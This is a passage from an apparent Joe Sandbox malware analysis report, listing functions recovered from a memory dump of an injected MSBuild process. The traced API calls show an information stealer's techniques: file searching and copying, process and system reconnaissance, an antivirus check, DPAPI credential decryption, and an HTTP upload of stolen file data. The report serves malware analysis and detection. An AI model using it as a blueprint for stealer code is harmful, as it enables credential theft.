Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 08d624d21809a606952038aba4fb6d1f5129b0991059f38e4937b8efa3199f49
Instruction ID: e9d49ef9ce8a2bc9a117d4fe253b15a3b51ee7ef692749dde95bb5dd1480248d
Opcode Fuzzy Hash: 08d624d21809a606952038aba4fb6d1f5129b0991059f38e4937b8efa3199f49
Instruction Fuzzy Hash: A0812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction ID: a3cdee16b5dfd04d3bd918c7eedd9f2c5ccf5c1b7225a83da59ac7103b0bc528
Opcode Fuzzy Hash: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction Fuzzy Hash: 81012170A01224DFDB60DB64DD45BDE77B9AF09311F4011E6E409E2290EB398B81CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction ID: ba20de4f6d07cba688775156cda93bca6e715b227c052c7d3b8ee28496ea85f9
Opcode Fuzzy Hash: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction Fuzzy Hash: 2A314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction ID: a342571249a904de89e2d28a6ac51ba89f12813f8da7ed82e50d95a069ae9259
Opcode Fuzzy Hash: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction Fuzzy Hash: C1018135600224AFEB61DB609D48FEE77FE9F19301F8400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction ID: cecb0f06a50482290116f099c25e0230255ed02a1d9bcffe7551c72d2d14305d
Opcode Fuzzy Hash: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction Fuzzy Hash: 9C117771A00214ABDB11EB65DC85BEE73A9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction ID: 61d95923a291ecda6e095beb314f014951f64f3de92a0ce4f4bd39d2e0bf5c47
Opcode Fuzzy Hash: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction Fuzzy Hash: F2F0E071A0132467EB04DFB4EC49B9B37659B04725F100295F511D71D0EB759E844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction ID: 6ece5ee49d11cdb060b7bdfc3a79890b10628a8e35908506f9dd9848dd200c5c
Opcode Fuzzy Hash: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction Fuzzy Hash: 63E092B1D1020DABCF04DF60EC459DE77FCEB08308F0054B5A505E3180D674AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418654), ref: 004014DF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,af641acce3f8c85bf2490a9b3aa972c5,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

file_data, xrefs: 00405C09
------, xrefs: 00405605
------, xrefs: 0040589D
", xrefs: 0040581B
", xrefs: 00405AD8
ERROR, xrefs: 00405D79
ERROR, xrefs: 00405F2F
--, xrefs: 00405600
build_id, xrefs: 0040594F
------, xrefs: 0040573C
block, xrefs: 00405E30
------, xrefs: 00405B5D
", xrefs: 0040597B
------, xrefs: 004059FF
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 004059A7
", xrefs: 00405C35

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$ERROR$ERROR$af641acce3f8c85bf2490a9b3aa972c5$block$build_id$file_data
API String ID: 2638065154-4131401294
Opcode ID: e262d8375547e785362cd5c7fd106ac2d32d4ee2c00fc9a2026365b67e6a079c
Instruction ID: 4baf88cb2a5c47609fe6293a48fe3edcdf17a13d7b96339157f3ca2814525fa3
Opcode Fuzzy Hash: e262d8375547e785362cd5c7fd106ac2d32d4ee2c00fc9a2026365b67e6a079c
Instruction Fuzzy Hash: 8F42E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

